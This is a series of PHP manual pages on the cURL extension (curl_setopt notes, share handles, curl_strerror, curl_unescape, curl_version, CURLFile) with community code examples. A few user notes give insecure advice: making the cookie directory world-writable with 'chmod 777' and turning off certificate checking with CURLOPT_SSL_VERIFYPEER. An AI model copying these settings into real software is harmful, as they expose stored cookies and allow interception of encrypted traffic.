I improved the encoding function by Alejandro Moreno to work properly with mulltidimensional arrays.

<?php
function data_encode($data, $keyprefix = "", $keypostfix = "") {
  assert( is_array($data) );
  $vars=null;
  foreach($data as $key=>$value) {
    if(is_array($value)) $vars .= data_encode($value, $keyprefix.$key.$keypostfix.urlencode("["), urlencode("]"));
    else $vars .= $keyprefix.$key.$keypostfix."=".urlencode($value)."&";
  }
  return $vars;
}

curl_setopt($ch, CURLOPT_POSTFIELDS, substr(data_encode($_POST), 0, -1) );

?>
phpnet at wafflehouse dot de 23-Oct-2005 03:34
Resetting CURLOPT_FILE to STDOUT won't work by calling curl_setopt() with the STDOUT constant or a php://output stream handle (at least I get error messages when trying the code from phpnet at andywaite dot com). Instead, one can simply reset it as a side effect of CURLOPT_RETURNTRANSFER. Just say

<?php curl_setopt($this->curl,CURLOPT_RETURNTRANSFER,0); ?>

and following calls to curl_exec() will output to STDOUT again.
webmaster () stauceni.com 20-Oct-2005 10:42
A little mistake, that took a half-day to fix it:
When specifing CURLOPT_COOKIEFILE or CURLOPT_COOKIEJAR options, don't forget to "chmod 777" that directory where cookie-file must be created.
ROXORT at TGNOOB dot FR 21-Sep-2005 04:09
<?php
/*
  Here is a script that is usefull to :
  - login to a POST form,
  - store a session cookie,
  - download a file once logged in.
*/

// INIT CURL
$ch = curl_init();

// SET URL FOR THE POST FORM LOGIN
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/Members/Login.php');

// ENABLE HTTP POST
curl_setopt ($ch, CURLOPT_POST, 1);

// SET POST PARAMETERS : FORM VALUES FOR EACH FIELD
curl_setopt ($ch, CURLOPT_POSTFIELDS, 'fieldname1=fieldvalue1&fieldname2=fieldvalue2');

// IMITATE CLASSIC BROWSER'S BEHAVIOUR : HANDLE COOKIES
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

# Setting CURLOPT_RETURNTRANSFER variable to 1 will force cURL
# not to print out the results of its query.
# Instead, it will return the results as a string return value
# from curl_exec() instead of the usual true/false.
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

// EXECUTE 1st REQUEST (FORM LOGIN)
$store = curl_exec ($ch);

// SET FILE TO DOWNLOAD
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/Members/Downloads/AnnualReport.pdf');

// EXECUTE 2nd REQUEST (FILE DOWNLOAD)
$content = curl_exec ($ch);

// CLOSE CURL
curl_close ($ch);

/*
  At this point you can do do whatever you want
  with the downloaded file stored in $content :
  display it, save it as file, and so on.
*/
?>
mcknight at chek dot com 23-Aug-2005 05:10
when specifing the file for either CURLOPT_COOKIEFILE or CURLOPT_COOKIEJAR you may need to use the full file path instead of just the relative path.
phpnet at andywaite dot com 07-Jun-2005 11:08
After setting CURLOPT_FILE, you may want want to revert back to the normal behaviour of displaying the results. This can be achieved using:

<?php
$fp = fopen ("php://output", "w") or die("Unable to open stdout for writing.\n");
curl_setopt($ch, CURLOPT_FILE, $fp);
?>
michaeledwards.com 01-Jun-2005 11:57
Problems can occur if you mix CURLOPT_URL with a 'Host:' header in CURLOPT_HEADERS on redirects because cURL will combine the host you explicitly stated in the 'Host:' header with the host from the Location: header of the redirect response.

In short, don't do this:

<?php
$host = "www.example.com";
$url = "http://$host/";

$headers = array("Host: $host");

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

Do this instead:

$host = "www.example.com";
$url = "http://$host/";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
?>
samlowry at e-baka dot net 14-May-2005 03:09
About CURLOPT_ENCODING:
added in curl in 7.10 - Oct 1 2002
In 7.10.5 - May 19 2003 syntax was chnaged:
"setting CURLOPT_ENCODING to "" automaticly enables all supported encodings"
ikendra at yken dot nospam dot org 09-May-2005 06:26
Using cURL, I needed to call a third-party script which was returning binary data as attachment to pass on retrieved data again as attachment.

Problem was that the third-party script occassionally returned HTTP errors and I wanted to avoid passing on zero-length attachment in such case.

Combination of using CURLOPT_FAILONERROR and CURLOPT_HEADERFUNCTION callback helped to process the third-party script HTTP errors neatly:

<?php
function curlHeaderCallback($resURL, $strHeader) {
    if (preg_match('/^HTTP/i', $strHeader)) {
        header($strHeader);
        header('Content-Disposition: attachment; filename="file-name.zip"');
    }
    return strlen($strHeader);
}

$strURL = 'http://www.example.com/script-whichs-dumps-binary-attachment.php';

$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);

curl_exec ($resURL);

$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);

if ($intReturnCode != 200) {
    print 'was error: ' . $intReturnCode;
}
?>
ron at ttvavanti dot nl 07-May-2004 05:00
If you specify a CAINFO, note that the file must be in PEM format! (If not, it won't work).
Using Openssl you can use:
openssl x509 -in <cert> -inform d -outform PEM -out cert.pem
To create a pem formatted certificate from a binary certificate (the one you get if you download the ca somewhere).
Jakub Horky <jakub dot php at horky dot net> 04-Apr-2004 10:20
A bit more documentation (without minimum version numbers):

- CURLOPT_WRITEFUNCTION
- CURLOPT_HEADERFUNCTION
  Pass a function which will be called to write data or headers respectively. The callback function prototype:

long write_callback (resource ch, string data)

The ch argument is CURL session handle. The data argument is data received. Note that its size is variable. When writing data, as much data as possible will be returned in all invokes. When writing headers, exactly one complete header line is returned for better parsing.
The function must return number of bytes actually taken care of. If that amount differs from the amount passed to this function, an error will occur.

- CURLOPT_READFUNCTION
  Pass a function which will be called to read data. The callback function prototype:

string read_callback (resource ch, resource fd, long length)

The ch argument is CURL session handle. The fd argument is file descriptor passed to CURL by CURLOPT_INFILE option. The length argument is maximum length which can be returned.
The function must return string containing the data which were read. If length of the data is more than maximum length, it will be truncated to maximum length. Returning anything else than a string means an EOF.

[Note: there is more callbacks implemented in current cURL library but they aren't unfortunately implemented in php curl interface yet.]
tim dot php at ebw dot ca 19-Nov-2003 03:18
The page http://curl.haxx.se/libcurl/c/curl_easy_setopt.html at the cURL site has a list of all the CURLOPTS, including many not mentioned here. Also see http://curl.haxx.se/libcurl/php/examples/ for cURL examples in PHP.
eric at imap dot ch 07-Jul-2003 06:38
I managed to use curl to retrieve information from severs on ports other than 80 or 443 (for https) on some installations but not on all.
If you get an "CURLE_COULDNT_CONNECT /* 7 */" error, try adding the port : (for example)

<?php curl_setopt($ch, CURLOPT_PORT, $_SERVER['SERVER_PORT']); ?>
me 14-May-2003 06:36
Just a reminder: When setting your CURLOPT_POSTFIELDS remember to replace the spaces in your values with %20
dweingart at pobox dot com 03-Apr-2003 12:08
If you want to Curl to follow redirects and you would also like Curl to echo back any cookies that are set in the process, use this:

<?php curl_setopt($ch, CURLOPT_COOKIEJAR, '-'); ?>

'-' means stdout

-dw
yann dot corno at free dot fr 13-Nov-2002 01:19
About the CURLOPT_HTTPHEADER option, it took me some time to figure out how to format the so-called 'Array'. It fact, it is a list of strings. If Curl was already defining a header item, yours will replace it. Here is an example to change the Content Type in a POST:

<?php curl_setopt ($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml")); ?>

Yann
23-Oct-2002 09:04
beware that not all cURLlib constants are supported under php :
e.g. CURLOPT_PROGRESSFUNCTION or CURLOPT_WRITEDATA are not supported.

CURLOPT_WRITEFUNCTION, although undocumented is supported. It takes the name of a user_defined function.
the function should take two arguments (the curl handle, and the inputdata) and return the length of the written data
e.g.

<?php
function myPoorProgressFunc($ch,$str){
global $fd;
$len = fwrite($fd,$str);
print("#");
return $len;
}

curl_setopt($ch,CURLOPT_WRITEFUNCTION,"myPoorProgressFunc");
?>

Also be aware that CURLOPT_WRITEFUNCTION  does NOT take the CURLOPT_FILE as a parameter!
in curl lib it would take CURLOPT_WRITEDATA but this is not supported by php; that's why I use "global $fd;" in my exemple function.

CURLOPT_HEADERFUNCTION works the same, and is guaranteed to receive complete header lines as input!

Hope this helps

Ivan
paul at zgtec dot com 26-Aug-2002 11:31
To make a POST in multipart/form-data mode
this worked for me, the " \n" at the end of the variables was very important on my OS X server.

<?php

$file = "file_to_upload.txt";
$submit_url = "http://www.example.com/upload_page.php";

$formvars = array("cc"=>"us \n");
$formvars[variable_1] = "bla bla \n";
$formvars[variable_2] = "bla bla \n";
$formvars[variable_3] = "bla bla \n";
$formvars[variable_4] = "bla bla \n";
$formvars[upfile] = "@$file"; // "@" causes cURL to send as file and not string (I believe)

    // init curl handle
    $ch = curl_init($submit_url);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "my_cookies.txt");  //initiates cookie file if needed
    curl_setopt($ch, CURLOPT_COOKIEFILE, "my_cookies.txt");  // Uses cookies from previous session if exist
    curl_setopt($ch, CURLOPT_REFERER, "http://www.example.net");  //if server needs to think this post came from elsewhere
    curl_setopt($ch, CURLOPT_VERBOSE, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); // follow redirects recursively
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $formvars);

    // perform post
    echo $pnp_result_page = curl_exec($ch);
    curl_close ($ch);

?>
tychay at alumni dot caltech dot edu 03-Apr-2002 10:14
CURLOPT_HTTPHEADER is NOT like the -H command line switch. The command line switch adds or replaces headers (much like the header() line in PHP, but for HTTP clients instead of servers), but the curl extension will eliminate the headers cURL sends by default.

For instance, your Authorization, Host, Referer, Pragma, and Accept headers which are normally written by default or by other CURLOPT_*'s.

Also, it might seem intuitive that this should accept an array hash of header->values, but this is not the case. It accepts an array of strings of the format "Header: Value", much like the -H command-line switch.

Hope this helps,

terry
bvwj at swbell dot net 18-Dec-2001 10:35
To collect cookies recieved with a request, set CURLOPT_COOKIEJAR "cookieFileName".  Then use CURLOPT_COOKIEFILE "cookieFileName" to recall them in subsequent transactions.
22-Sep-2001 06:52
To make a POST in multipart/form-data mode

(to upload a file for example) you can use

<?php curl_setopt($ch,CURLOPT_POSTFIELDS,$post); ?>

where $post is an array :

<?php
$post['key1'] = 'data1';
//  like a text field in a POST
$post['file1'] = '@filename1'
// upload filename1
?>

For more informations see the

curl_formparse man page.
fil at rezox dot com 22-Feb-2001 02:50
If you want to connect to a secure server for posting info/reading info, you need to make cURL with the openSSL options. Then the sequence is nearly identical to the previous example (except http_S_://, and possibly add the useragent):

<?php
curl_setopt($ch, CURLOPT_URL,"https://example.com");
//some sites only accept your request if your browser looks legit, so send a useragent profile...
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
?>
bvr at xs4all dot nl 07-Feb-2001 04:09
If you'd like to include extra headers in your POST request, you can accomplish this by setting the following option:

CURLOPT_HTTPHEADER

This is similar to the CURL -H command line switch.

Thanks to Daniel Stenberg for pointing out this usefull feature!

Note: this option was first supported in PHP version 4.03 .
dan dot polansky at seznam dot cz 17-Jan-2001 11:31
I used to download www pages to my script and one of the pages was different in MS explorer and different, when I downloaded it. Namely, information, I was really interested in was missing. That was because the server on the other bank of the river was looking at who is downloading the page. Everything got fixed when I pretended I was MSIE. It is done with curl. Here is a function, that you may use in similar situation

<?php
function download_pretending($url,$user_agent) {
   $ch = curl_init();
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_USERAGENT, $user_agent);
   curl_setopt ($ch, CURLOPT_HEADER, 0);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   $result = curl_exec ($ch);
   curl_close ($ch);
   return $result;
}
?>


Close a cURL share handle

  • « curl_setopt
  • curl_share_init »
  • PHP Manual
  • cURL Functions
  • Close a cURL share handle

curl_share_close

(PHP 5 >= 5.5.0)

curl_share_close — Close a cURL share handle

Description

void curl_share_close ( resource $sh )

Closes a cURL share handle and frees all resources.

Parameters

sh

A cURL share handle returned by curl_share_init()

Return Values

No value is returned.

Examples

Example #1 curl_share_setopt() example

This example will create a cURL share handle, add two cURL handles to it, and then run them with cookie data sharing.

<?php
// Create cURL share handle and set it to share cookie data
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// Initialize the first cURL handle and assign the share handle to it
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// Execute the first cURL handle
curl_exec($ch1);

// Initialize the second cURL handle and assign the share handle to it
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// Execute the second cURL handle
//  all cookies from $ch1 handle are shared with $ch2 handle
curl_exec($ch2);

// Close the cURL share handle
curl_share_close($sh);

// Close the cURL handles
curl_close($ch1);
curl_close($ch2);
?>

See Also

  • curl_share_init() - Initialize a cURL share handle

User Contributed Notes

There are no user contributed notes for this page.


Initialize a cURL share handle

  • « curl_share_close
  • curl_share_setopt »
  • PHP Manual
  • cURL Functions
  • Initialize a cURL share handle

curl_share_init

(PHP 5 >= 5.5.0)

curl_share_init — Initialize a cURL share handle

Description

resource curl_share_init ( void )

Allows to share data between cURL handles.

Parameters

This function has no parameters.

Return Values

Returns resource of type "cURL Share Handle".

Examples

Example #1 curl_share_init() example

This example will create a cURL share handle, add two cURL handles to it, and then run them with cookie data sharing.

<?php
// Create cURL share handle and set it to share cookie data
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// Initialize the first cURL handle and assign the share handle to it
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// Execute the first cURL handle
curl_exec($ch1);

// Initialize the second cURL handle and assign the share handle to it
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// Execute the second cURL handle
//  all cookies from $ch1 handle are shared with $ch2 handle
curl_exec($ch2);

// Close the cURL share handle
curl_share_close($sh);

// Close the cURL handles
curl_close($ch1);
curl_close($ch2);
?>

See Also

  • curl_share_setopt() - Set an option for a cURL share handle.
  • curl_share_close() - Close a cURL share handle

User Contributed Notes

There are no user contributed notes for this page.


Set an option for a cURL share handle.

  • « curl_share_init
  • curl_strerror »
  • PHP Manual
  • cURL Functions
  • Set an option for a cURL share handle.

curl_share_setopt

(PHP 5 >= 5.5.0)

curl_share_setopt — Set an option for a cURL share handle.

Description

bool curl_share_setopt ( resource $sh , int $option , string $value )

Sets an option on the given cURL share handle.

Parameters

sh

A cURL share handle returned by curl_share_init().

option

Option | Description
CURLSHOPT_SHARE | Specifies a type of data that should be shared.
CURLSHOPT_UNSHARE | Specifies a type of data that will be no longer shared.

value

Value | Description
CURL_LOCK_DATA_COOKIE | Shares cookie data.
CURL_LOCK_DATA_DNS | Shares DNS cache. Note that when you use cURL multi handles, all handles added to the same multi handle will share DNS cache by default.
CURL_LOCK_DATA_SSL_SESSION | Shares SSL session IDs, reducing the time spent on the SSL handshake when reconnecting to the same server. Note that SSL session IDs are reused withing the same handle by default.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 curl_share_setopt() example

This example will create a cURL share handle, add two cURL handles to it, and then run them with cookie data sharing.

<?php
// Create cURL share handle and set it to share cookie data
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// Initialize the first cURL handle and assign the share handle to it
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// Execute the first cURL handle
curl_exec($ch1);

// Initialize the second cURL handle and assign the share handle to it
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// Execute the second cURL handle
//  all cookies from $ch1 handle are shared with $ch2 handle
curl_exec($ch2);

// Close the cURL share handle
curl_share_close($sh);

// Close the cURL handles
curl_close($ch1);
curl_close($ch2);
?>

User Contributed Notes

There are no user contributed notes for this page.


Return string describing the given error code

  • « curl_share_setopt
  • curl_unescape »
  • PHP Manual
  • cURL Functions
  • Return string describing the given error code

curl_strerror

(PHP 5 >= 5.5.0)

curl_strerror — Return string describing the given error code

Description

string curl_strerror ( int $errornum )

Returns a text error message describing the given error code.

Parameters

errornum

One of the » cURL error codes constants.

Return Values

Returns error description or NULL for invalid error code.

Examples

Example #1 curl_errno() example

<?php
// Create a curl handle with a mispelled protocol in URL
$ch = curl_init("htp://example.com/");

// Send request
curl_exec($ch);

// Check for errors and display the error message
if($errno = curl_errno($ch)) {
    $error_message = curl_strerror($errno);
    echo "cURL error ({$errno}):\n {$error_message}";
}

// Close the handle
curl_close($ch);
?>

The above example will output:

cURL error (1):
 Unsupported protocol

See Also

  • curl_errno() - Return the last error number
  • curl_error() - Return a string containing the last error for the current session
  • » Curl error codes

User Contributed Notes

There are no user contributed notes for this page.


Decodes the given URL encoded string

  • « curl_strerror
  • curl_version »
  • PHP Manual
  • cURL Functions
  • Decodes the given URL encoded string

curl_unescape

(PHP 5 >= 5.5.0)

curl_unescape — Decodes the given URL encoded string

Description

string curl_unescape ( resource $ch , string $str )

This function decodes the given URL encoded string.

Parameters

ch

A cURL handle returned by curl_init().

str

The URL encoded string to be decoded.

Return Values

Returns decoded string or FALSE on failure.

Examples

Example #1 curl_escape() example

<?php
// Create a curl handle
$ch = curl_init('http://example.com/redirect.php');

// Send HTTP request and follow redirections
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

// Get the last effective URL
$effective_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
// ie. "http://example.com/show_location.php?loc=M%C3%BCnchen"

// Decode the URL
$effective_url_decoded = curl_unescape($ch, $effective_url);
// "http://example.com/show_location.php?loc=München"

// Close the handle
curl_close($ch);
?>

Notes

Note:

curl_unescape() does not decode plus symbols (+) into spaces. urldecode() does.

See Also

  • curl_escape() - URL encodes the given string
  • urlencode() - URL-encodes string
  • urldecode() - Decodes URL-encoded string
  • rawurlencode() - URL-encode according to RFC 3986
  • rawurldecode() - Decode URL-encoded strings

User Contributed Notes

There are no user contributed notes for this page.


Gets cURL version information

  • « curl_unescape
  • CURLFile »
  • PHP Manual
  • cURL Functions
  • Gets cURL version information

curl_version

(PHP 4 >= 4.0.2, PHP 5)

curl_version — Gets cURL version information

Description

array curl_version ([ int $age = CURLVERSION_NOW ] )

Returns information about the cURL version.

Parameters

age

Return Values

Returns an associative array with the following elements:

Indice | Value description
version_number | cURL 24 bit version number
version | cURL version number, as a string
ssl_version_number | OpenSSL 24 bit version number
ssl_version | OpenSSL version number, as a string
libz_version | zlib version number, as a string
host | Information about the host where cURL was built
age |
features | A bitmask of the CURL_VERSION_XXX constants
protocols | An array of protocols names supported by cURL

Examples

Example #1 curl_version() example

This example will check which features that's available in cURL build by using the 'features' bitmask returned by curl_version().

<?php
// Get curl version array
$version = curl_version();

// These are the bitfields that can be used
// to check for features in the curl build
$bitfields = Array(
            'CURL_VERSION_IPV6',
            'CURL_VERSION_KERBEROS4',
            'CURL_VERSION_SSL',
            'CURL_VERSION_LIBZ'
            );

foreach($bitfields as $feature)
{
    echo $feature . ($version['features'] & constant($feature) ? ' matches' : ' does not match');
    echo PHP_EOL;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


The CURLFile class

(PHP 5 >= 5.5.0)

Introduction

CURLFile can be used to upload a file with CURLOPT_POSTFIELDS.

Class synopsis

CURLFile {
/* Properties */
public $name ;
public $mime ;
public $postname ;
/* Methods */
public __construct ( string $filename [, string $mimetype [, string $postname ]] )
public string getFilename ( void )
public string getMimeType ( void )
public string getPostFilename ( void )
public void setMimeType ( string $mime )
public void setPostFilename ( string $postname )
public void __wakeup ( void )
}

Properties

name

mime

postname

Table of Contents

  • CURLFile::__construct — Create a CURLFile object
  • CURLFile::getFilename — Get file name
  • CURLFile::getMimeType — Get MIME type
  • CURLFile::getPostFilename — Get file name for POST
  • CURLFile::setMimeType — Set MIME type
  • CURLFile::setPostFilename — Set file name for POST
  • CURLFile::__wakeup — Unserialization handler

User Contributed Notes

alin dot rzv at gmail dot com 18-Aug-2014 10:37
i've seen some downvotes , here is a small example of using curl to upload image .

<?php
$target="http://youraddress.tld/example/upload.php";

# http://php.net/manual/en/curlfile.construct.php

// Create a CURLFile object / procedural method
$cfile = curl_file_create('resource/test.png','image/png','testpic'); // try adding

// Create a CURLFile object / oop method
#$cfile = new CURLFile('resource/test.png','image/png','testpic'); // uncomment and use if the upper procedural method is not working.

// Assign POST data
$imgdata = array('myimage' => $cfile);

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $target);
curl_setopt($curl, CURLOPT_USERAGENT,'Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15');
curl_setopt($curl, CURLOPT_HTTPHEADER,array('User-Agent: Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15','Referer: http://someaddress.tld','Content-Type: multipart/form-data'));
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true); // enable posting
curl_setopt($curl, CURLOPT_POSTFIELDS, $imgdata); // post images
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
$r = curl_exec($curl);
curl_close($curl);

?>
CertaiN 05-Jun-2014 01:56
There are "@" issue on multipart POST requests.

Solution for PHP 5.5 or later:
- Enable CURLOPT_SAFE_UPLOAD.
- Use CURLFile instead of "@".

Solution for PHP 5.4 or earlier:
- Build up multipart content body by youself.
- Change "Content-Type" header by yourself.

The following snippet will help you :D

<?php

/**
 * For safe multipart POST request for PHP5.3 ~ PHP 5.4.
 *
 * @param resource $ch cURL resource
 * @param array $assoc "name => value"
 * @param array $files "name => path"
 * @return bool
 */
function curl_custom_postfields($ch, array $assoc = array(), array $files = array()) {

    // invalid characters for "name" and "filename"
    static $disallow = array("\0", "\"", "\r", "\n");

    // build normal parameters
    foreach ($assoc as $k => $v) {
        $k = str_replace($disallow, "_", $k);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"",
            "",
            filter_var($v),
        ));
    }

    // build file parameters
    foreach ($files as $k => $v) {
        switch (true) {
            case false === $v = realpath(filter_var($v)):
            case !is_file($v):
            case !is_readable($v):
                continue; // or return false, throw new InvalidArgumentException
        }
        $data = file_get_contents($v);
        $v = call_user_func("end", explode(DIRECTORY_SEPARATOR, $v));
        $k = str_replace($disallow, "_", $k);
        $v = str_replace($disallow, "_", $v);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"; filename=\"{$v}\"",
            "Content-Type: application/octet-stream",
            "",
            $data,
        ));
    }

    // generate safe boundary
    do {
        $boundary = "---------------------" . md5(mt_rand() . microtime());
    } while (preg_grep("/{$boundary}/", $body));

    // add boundary for each parameters
    array_walk($body, function (&$part) use ($boundary) {
        $part = "--{$boundary}\r\n{$part}";
    });

    // add final boundary
    $body[] = "--{$boundary}--";
    $body[] = "";

    // set options
    return @curl_setopt_array($ch, array(
        CURLOPT_POST       => true,
        CURLOPT_POSTFIELDS => implode("\r\n", $body),
        CURLOPT_HTTPHEADER => array(
            "Expect: 100-continue",
            "Content-Type: multipart/form-data; boundary={$boundary}", // change Content-Type
        ),
    ));
}

?>
alin dot rzv at gmail dot com 16-Sep-2013 03:50
// Create a CURLFile object
$cfile = curl_file_create('cats.jpg','image/jpeg','test_name');

// Assign POST data
$data = array('test_file' => $cfile);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
alin dot rzv at gmail dot com 16-Sep-2013 03:36
Usage Example :

curl_setopt($curl_handle, CURLOPT_POST, 1);
$args['file'] = new CurlFile('filename.png', 'image/png', 'filename.png');
curl_setopt($curl_handle, CURLOPT_POSTFIELDS, $args);


Create a CURLFile object

  • « CURLFile
  • CURLFile::getFilename »
  • PHP Manual
  • CURLFile
  • Create a CURLFile object

CURLFile::__construct

curl_file_create

(PHP 5 >= 5.5.0)

CURLFile::__construct -- curl_file_create — Create a CURLFile object

Description

Object oriented style

public CURLFile::__construct ( string $filename [, string $mimetype [, string $postname ]] )

Procedural style

CURLFile curl_file_create ( string $filename [, string $mimetype [, string $postname ]] )

Creates a CURLFile object, used to upload a file with CURLOPT_POSTFIELDS.

Parameters

filename

Path to the file which will be uploaded.

mimetype

Mimetype of the file.

postname

Name of the file.

Return Values

Returns a CURLFile object.

Examples

Example #1 CURLFile::__construct() example

Object oriented style

<?php
/* http://example.com/upload.php:
<?php var_dump($_FILES); ?>
*/

// Create a cURL handle
$ch = curl_init('http://example.com/upload.php');

// Create a CURLFile object
$cfile = new CURLFile('cats.jpg','image/jpeg','test_name');

// Assign POST data
$data = array('test_file' => $cfile);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

// Execute the handle
curl_exec($ch);
?>

Procedural style

<?php
/* http://example.com/upload.php:
<?php var_dump($_FILES); ?>
*/

// Create a cURL handle
$ch = curl_init('http://example.com/upload.php');

// Create a CURLFile object
$cfile = curl_file_create('cats.jpg','image/jpeg','test_name');

// Assign POST data
$data = array('test_file' => $cfile);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

// Execute the handle
curl_exec($ch);
?>

The above example will output:

array(1) {
  ["test_file"]=>
  array(5) {
    ["name"]=>
    string(9) "test_name"
    ["type"]=>
    string(10) "image/jpeg"
    ["tmp_name"]=>
    string(14) "/tmp/phpPC9Kbx"
    ["error"]=>
    int(0)
    ["size"]=>
    int(46334)
  }
}

See Also

  • curl_setopt() - Set an option for a cURL transfer

User Contributed Notes

CertaiN 05-Jun-2014 01:55
There are "@" issue on multipart POST requests.

Solution for PHP 5.5 or later:
- Enable CURLOPT_SAFE_UPLOAD.
- Use CURLFile instead of "@".

Solution for PHP 5.4 or earlier:
- Build up multipart content body by youself.
- Change "Content-Type" header by yourself.

The following snippet will help you :D

<?php

/**
 * For safe multipart POST request for PHP5.3 ~ PHP 5.4.
 *
 * @param resource $ch cURL resource
 * @param array $assoc "name => value"
 * @param array $files "name => path"
 * @return bool
 */
function curl_custom_postfields($ch, array $assoc = array(), array $files = array()) {

    // invalid characters for "name" and "filename"
    static $disallow = array("\0", "\"", "\r", "\n");

    // build normal parameters
    foreach ($assoc as $k => $v) {
        $k = str_replace($disallow, "_", $k);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"",
            "",
            filter_var($v),
        ));
    }

    // build file parameters
    foreach ($files as $k => $v) {
        switch (true) {
            case false === $v = realpath(filter_var($v)):
            case !is_file($v):
            case !is_readable($v):
                continue; // or return false, throw new InvalidArgumentException
        }
        $data = file_get_contents($v);
        $v = call_user_func("end", explode(DIRECTORY_SEPARATOR, $v));
        $k = str_replace($disallow, "_", $k);
        $v = str_replace($disallow, "_", $v);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"; filename=\"{$v}\"",
            "Content-Type: application/octet-stream",
            "",
            $data,
        ));
    }

    // generate safe boundary
    do {
        $boundary = "---------------------" . md5(mt_rand() . microtime());
    } while (preg_grep("/{$boundary}/", $body));

    // add boundary for each parameters
    array_walk($body, function (&$part) use ($boundary) {
        $part = "--{$boundary}\r\n{$part}";
    });

    // add final boundary
    $body[] = "--{$boundary}--";
    $body[] = "";

    // set options
    return @curl_setopt_array($ch, array(
        CURLOPT_POST       => true,
        CURLOPT_POSTFIELDS => implode("\r\n", $body),
        CURLOPT_HTTPHEADER => array(
            "Expect: 100-continue",
            "Content-Type: multipart/form-data; boundary={$boundary}", // change Content-Type
        ),
    ));
}

?>
mipa 05-Mar-2014 05:33
For PHP < 5.5:

<?php

if (!function_exists('curl_file_create')) {
    function curl_file_create($filename, $mimetype = '', $postname = '') {
        return "@$filename;filename="
            . ($postname ?: basename($filename))
            . ($mimetype ? ";type=$mimetype" : '');
    }
}

?>


Get file name

  • « CURLFile::__construct
  • CURLFile::getMimeType »
  • PHP Manual
  • CURLFile
  • Get file name

CURLFile::getFilename

(PHP 5 >= 5.5.0)

CURLFile::getFilename — Get file name

Description

public string CURLFile::getFilename ( void )

Parameters

This function has no parameters.

Return Values

Returns file name.

User Contributed Notes

There are no user contributed notes for this page.


Get MIME type

  • « CURLFile::getFilename
  • CURLFile::getPostFilename »
  • PHP Manual
  • CURLFile
  • Get MIME type

CURLFile::getMimeType

(PHP 5 >= 5.5.0)

CURLFile::getMimeType — Get MIME type

Description

public string CURLFile::getMimeType ( void )

Parameters

This function has no parameters.

Return Values

Returns MIME type.

User Contributed Notes

There are no user contributed notes for this page.


Get file name for POST

  • « CURLFile::getMimeType
  • CURLFile::setMimeType »
  • PHP Manual
  • CURLFile
  • Get file name for POST

CURLFile::getPostFilename

(PHP 5 >= 5.5.0)

CURLFile::getPostFilename — Get file name for POST

Description

public string CURLFile::getPostFilename ( void )

Parameters

This function has no parameters.

Return Values

Returns file name for POST.

User Contributed Notes

There are no user contributed notes for this page.


Set MIME type

  • « CURLFile::getPostFilename
  • CURLFile::setPostFilename »
  • PHP Manual
  • CURLFile
  • Set MIME type

CURLFile::setMimeType

(PHP 5 >= 5.5.0)

CURLFile::setMimeType — Set MIME type

Description

public void CURLFile::setMimeType ( string $mime )

Parameters

mime

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set file name for POST

  • « CURLFile::setMimeType
  • CURLFile::__wakeup »
  • PHP Manual
  • CURLFile
  • Set file name for POST

CURLFile::setPostFilename

(PHP 5 >= 5.5.0)

